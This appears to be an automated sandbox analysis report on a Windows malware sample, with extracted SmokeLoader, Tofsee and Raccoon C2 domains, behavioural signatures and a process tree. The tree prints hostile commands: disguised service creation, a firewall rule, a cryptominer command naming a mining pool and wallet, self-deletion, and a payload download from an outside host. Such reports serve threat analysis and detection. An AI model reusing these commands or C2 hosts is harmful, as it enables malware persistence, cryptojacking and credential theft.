Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    09/01/2022, 16:22

General

  • Target

    c546f607999cde4e080af85119bdb235.exe

  • Size

    293KB

  • MD5

    c546f607999cde4e080af85119bdb235

  • SHA1

    4aa3b811556fffe9f8ee3a8210d7ce9fc976c42c

  • SHA256

    492ee4f4523bbce520cee6d63b3175a720ba7f7f5d6a8adddfff58d0ac909fe9

  • SHA512

    e49023d16ecc652a7aea4ed085d27b202662bd581f4bb0d783b332e35ee6479e33429572ee9b26d5d7ded5f7b6ec05b0f084de7e2c706da3b5fe7802f1e726d1

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 6 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 16 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c546f607999cde4e080af85119bdb235.exe
    "C:\Users\Admin\AppData\Local\Temp\c546f607999cde4e080af85119bdb235.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:776
    • C:\Users\Admin\AppData\Local\Temp\c546f607999cde4e080af85119bdb235.exe
      "C:\Users\Admin\AppData\Local\Temp\c546f607999cde4e080af85119bdb235.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1620
  • C:\Users\Admin\AppData\Local\Temp\7713.exe
    C:\Users\Admin\AppData\Local\Temp\7713.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:552
  • C:\Users\Admin\AppData\Local\Temp\8B06.exe
    C:\Users\Admin\AppData\Local\Temp\8B06.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1244
    • C:\Users\Admin\AppData\Local\Temp\8B06.exe
      C:\Users\Admin\AppData\Local\Temp\8B06.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1828
  • C:\Users\Admin\AppData\Local\Temp\A164.exe
    C:\Users\Admin\AppData\Local\Temp\A164.exe
    1⤵
    • Executes dropped EXE
    PID:1824
  • C:\Users\Admin\AppData\Local\Temp\B8FA.exe
    C:\Users\Admin\AppData\Local\Temp\B8FA.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2012
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qddaudfk\
      2⤵
        PID:1980
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\giqpffzw.exe" C:\Windows\SysWOW64\qddaudfk\
        2⤵
          PID:688
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qddaudfk binPath= "C:\Windows\SysWOW64\qddaudfk\giqpffzw.exe /d\"C:\Users\Admin\AppData\Local\Temp\B8FA.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1324
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qddaudfk "wifi internet conection"
            2⤵
              PID:1668
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qddaudfk
              2⤵
                PID:1692
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:764
              • C:\Users\Admin\AppData\Local\Temp\D63B.exe
                C:\Users\Admin\AppData\Local\Temp\D63B.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:728
                • C:\Users\Admin\AppData\Local\Temp\D63B.exe
                  C:\Users\Admin\AppData\Local\Temp\D63B.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1720
                • C:\Users\Admin\AppData\Local\Temp\D63B.exe
                  C:\Users\Admin\AppData\Local\Temp\D63B.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1700
              • C:\Windows\SysWOW64\qddaudfk\giqpffzw.exe
                C:\Windows\SysWOW64\qddaudfk\giqpffzw.exe /d"C:\Users\Admin\AppData\Local\Temp\B8FA.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1348
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1564
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1200
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:948
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:1604
                • C:\Users\Admin\AppData\Local\Temp\4E67.exe
                  C:\Users\Admin\AppData\Local\Temp\4E67.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Loads dropped DLL
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Checks processor information in registry
                  PID:2004
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\4E67.exe" & exit
                    2⤵
                      PID:1408
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 5
                        3⤵
                        • Delays execution with timeout.exe
                        PID:1020
                  • C:\Users\Admin\AppData\Local\Temp\6FBE.exe
                    C:\Users\Admin\AppData\Local\Temp\6FBE.exe
                    1⤵
                    • Executes dropped EXE
                    PID:1880
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 1880 -s 436
                      2⤵
                      • Loads dropped DLL
                      • Program crash
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1612
                  • C:\Users\Admin\AppData\Local\Temp\97EB.exe
                    C:\Users\Admin\AppData\Local\Temp\97EB.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1036
                  • C:\Users\Admin\AppData\Local\Temp\C562.exe
                    C:\Users\Admin\AppData\Local\Temp\C562.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:1608
                  • C:\Users\Admin\AppData\Local\Temp\F9EA.exe
                    C:\Users\Admin\AppData\Local\Temp\F9EA.exe
                    1⤵
                    • Executes dropped EXE
                    PID:1020
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\FC2A.tmp\FC2B.tmp\FC2C.bat C:\Users\Admin\AppData\Local\Temp\F9EA.exe"
                      2⤵
                        PID:1616
                        • C:\Users\Admin\AppData\Local\Temp\FC2A.tmp\FC2B.tmp\extd.exe
                          C:\Users\Admin\AppData\Local\Temp\FC2A.tmp\FC2B.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
                          3⤵
                          • Executes dropped EXE
                          • Suspicious behavior: CmdExeWriteProcessMemorySpam
                          PID:1180
                        • C:\Windows\System32\WScript.exe
                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\23692\123.vbs"
                          3⤵
                            PID:1600
                          • C:\Users\Admin\AppData\Local\Temp\FC2A.tmp\FC2B.tmp\extd.exe
                            C:\Users\Admin\AppData\Local\Temp\FC2A.tmp\FC2B.tmp\extd.exe "/download" "http://a0617224.xsph.ru/1.exe" "setup1.exe" "" "" "" "" "" ""
                            3⤵
                            • Executes dropped EXE
                            • Suspicious behavior: CmdExeWriteProcessMemorySpam
                            PID:824
                          • C:\Users\Admin\AppData\Local\Temp\23692\setup1.exe
                            setup1.exe
                            3⤵
                              PID:1148

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • memory/552-65-0x0000000000400000-0x000000000046D000-memory.dmp

                          Filesize

                          436KB

                        • memory/552-62-0x000000000057A000-0x000000000058A000-memory.dmp

                          Filesize

                          64KB

                        • memory/552-64-0x0000000000020000-0x0000000000029000-memory.dmp

                          Filesize

                          36KB

                        • memory/728-83-0x0000000001040000-0x00000000010CA000-memory.dmp

                          Filesize

                          552KB

                        • memory/728-89-0x0000000000270000-0x0000000000271000-memory.dmp

                          Filesize

                          4KB

                        • memory/728-82-0x0000000001040000-0x00000000010CA000-memory.dmp

                          Filesize

                          552KB

                        • memory/728-88-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

                          Filesize

                          4KB

                        • memory/776-58-0x0000000000230000-0x0000000000239000-memory.dmp

                          Filesize

                          36KB

                        • memory/776-57-0x0000000000220000-0x0000000000228000-memory.dmp

                          Filesize

                          32KB

                        • memory/948-119-0x000000006F991000-0x000000006F993000-memory.dmp

                          Filesize

                          8KB

                        • memory/948-122-0x0000000000170000-0x00000000001E4000-memory.dmp

                          Filesize

                          464KB

                        • memory/948-123-0x0000000000100000-0x000000000016B000-memory.dmp

                          Filesize

                          428KB

                        • memory/1036-176-0x0000000001EE2000-0x0000000001EE3000-memory.dmp

                          Filesize

                          4KB

                        • memory/1036-174-0x0000000000400000-0x000000000047B000-memory.dmp

                          Filesize

                          492KB

                        • memory/1036-175-0x0000000001EE1000-0x0000000001EE2000-memory.dmp

                          Filesize

                          4KB

                        • memory/1036-171-0x00000000005A8000-0x00000000005D4000-memory.dmp

                          Filesize

                          176KB

                        • memory/1036-177-0x0000000000560000-0x0000000000592000-memory.dmp

                          Filesize

                          200KB

                        • memory/1036-178-0x0000000001EE3000-0x0000000001EE4000-memory.dmp

                          Filesize

                          4KB

                        • memory/1036-172-0x0000000000520000-0x0000000000554000-memory.dmp

                          Filesize

                          208KB

                        • memory/1036-181-0x0000000001EE4000-0x0000000001EE6000-memory.dmp

                          Filesize

                          8KB

                        • memory/1036-173-0x0000000000220000-0x0000000000259000-memory.dmp

                          Filesize

                          228KB

                        • memory/1200-163-0x0000000000170000-0x0000000000261000-memory.dmp

                          Filesize

                          964KB

                        • memory/1200-161-0x0000000000170000-0x0000000000261000-memory.dmp

                          Filesize

                          964KB

                        • memory/1348-144-0x0000000000400000-0x0000000002B83000-memory.dmp

                          Filesize

                          39.5MB

                        • memory/1412-87-0x0000000003F50000-0x0000000003F66000-memory.dmp

                          Filesize

                          88KB

                        • memory/1412-68-0x0000000003770000-0x0000000003786000-memory.dmp

                          Filesize

                          88KB

                        • memory/1412-59-0x00000000025F0000-0x0000000002606000-memory.dmp

                          Filesize

                          88KB

                        • memory/1564-142-0x0000000000080000-0x0000000000095000-memory.dmp

                          Filesize

                          84KB

                        • memory/1564-141-0x0000000000080000-0x0000000000095000-memory.dmp

                          Filesize

                          84KB

                        • memory/1604-125-0x0000000000060000-0x000000000006C000-memory.dmp

                          Filesize

                          48KB

                        • memory/1604-124-0x0000000000070000-0x0000000000077000-memory.dmp

                          Filesize

                          28KB

                        • memory/1608-194-0x0000000076520000-0x00000000765CC000-memory.dmp

                          Filesize

                          688KB

                        • memory/1608-202-0x0000000000FC0000-0x00000000010A1000-memory.dmp

                          Filesize

                          900KB

                        • memory/1608-213-0x00000000004E0000-0x00000000004E1000-memory.dmp

                          Filesize

                          4KB

                        • memory/1608-191-0x0000000000FC0000-0x00000000010A1000-memory.dmp

                          Filesize

                          900KB

                        • memory/1608-197-0x00000000776B0000-0x0000000077707000-memory.dmp

                          Filesize

                          348KB

                        • memory/1608-196-0x0000000076200000-0x0000000076247000-memory.dmp

                          Filesize

                          284KB

                        • memory/1608-203-0x0000000076670000-0x00000000766FF000-memory.dmp

                          Filesize

                          572KB

                        • memory/1608-201-0x0000000000FC0000-0x00000000010A1000-memory.dmp

                          Filesize

                          900KB

                        • memory/1608-195-0x00000000001C0000-0x0000000000205000-memory.dmp

                          Filesize

                          276KB

                        • memory/1608-199-0x00000000763C0000-0x000000007651C000-memory.dmp

                          Filesize

                          1.4MB

                        • memory/1608-192-0x0000000000150000-0x0000000000151000-memory.dmp

                          Filesize

                          4KB

                        • memory/1608-211-0x0000000074650000-0x00000000746D0000-memory.dmp

                          Filesize

                          512KB

                        • memory/1608-190-0x0000000074C50000-0x0000000074C9A000-memory.dmp

                          Filesize

                          296KB

                        • memory/1612-215-0x0000000000210000-0x0000000000211000-memory.dmp

                          Filesize

                          4KB

                        • memory/1616-226-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

                          Filesize

                          8KB

                        • memory/1620-56-0x0000000076921000-0x0000000076923000-memory.dmp

                          Filesize

                          8KB

                        • memory/1620-54-0x0000000000400000-0x0000000000409000-memory.dmp

                          Filesize

                          36KB

                        • memory/1700-111-0x0000000000400000-0x0000000000420000-memory.dmp

                          Filesize

                          128KB

                        • memory/1700-104-0x0000000000400000-0x0000000000420000-memory.dmp

                          Filesize

                          128KB

                        • memory/1700-106-0x0000000000400000-0x0000000000420000-memory.dmp

                          Filesize

                          128KB

                        • memory/1700-107-0x0000000000400000-0x0000000000420000-memory.dmp

                          Filesize

                          128KB

                        • memory/1700-102-0x0000000000400000-0x0000000000420000-memory.dmp

                          Filesize

                          128KB

                        • memory/1700-103-0x0000000000400000-0x0000000000420000-memory.dmp

                          Filesize

                          128KB

                        • memory/1700-116-0x0000000001000000-0x0000000001001000-memory.dmp

                          Filesize

                          4KB

                        • memory/1700-110-0x0000000000400000-0x0000000000420000-memory.dmp

                          Filesize

                          128KB

                        • memory/1824-84-0x00000000003C0000-0x00000000003D1000-memory.dmp

                          Filesize

                          68KB

                        • memory/1824-86-0x0000000000400000-0x0000000002B87000-memory.dmp

                          Filesize

                          39.5MB

                        • memory/1824-85-0x00000000003E0000-0x00000000003FC000-memory.dmp

                          Filesize

                          112KB

                        • memory/1880-183-0x0000000000220000-0x000000000026F000-memory.dmp

                          Filesize

                          316KB

                        • memory/1880-185-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          Filesize

                          39.8MB

                        • memory/1880-184-0x00000000002F0000-0x0000000000381000-memory.dmp

                          Filesize

                          580KB

                        • memory/2004-138-0x0000000076200000-0x0000000076247000-memory.dmp

                          Filesize

                          284KB

                        • memory/2004-154-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-152-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-153-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-151-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-150-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-149-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-140-0x0000000076520000-0x00000000765CC000-memory.dmp

                          Filesize

                          688KB

                        • memory/2004-137-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-134-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-136-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-135-0x0000000000180000-0x0000000000181000-memory.dmp

                          Filesize

                          4KB

                        • memory/2004-132-0x0000000000130000-0x0000000000174000-memory.dmp

                          Filesize

                          272KB

                        • memory/2004-133-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-131-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-129-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2004-130-0x0000000000BC0000-0x0000000000F7F000-memory.dmp

                          Filesize

                          3.7MB

                        • memory/2012-97-0x0000000000400000-0x0000000002B83000-memory.dmp

                          Filesize

                          39.5MB

                        • memory/2012-95-0x0000000000230000-0x000000000023D000-memory.dmp

                          Filesize

                          52KB

                        • memory/2012-96-0x0000000000240000-0x0000000000253000-memory.dmp

                          Filesize

                          76KB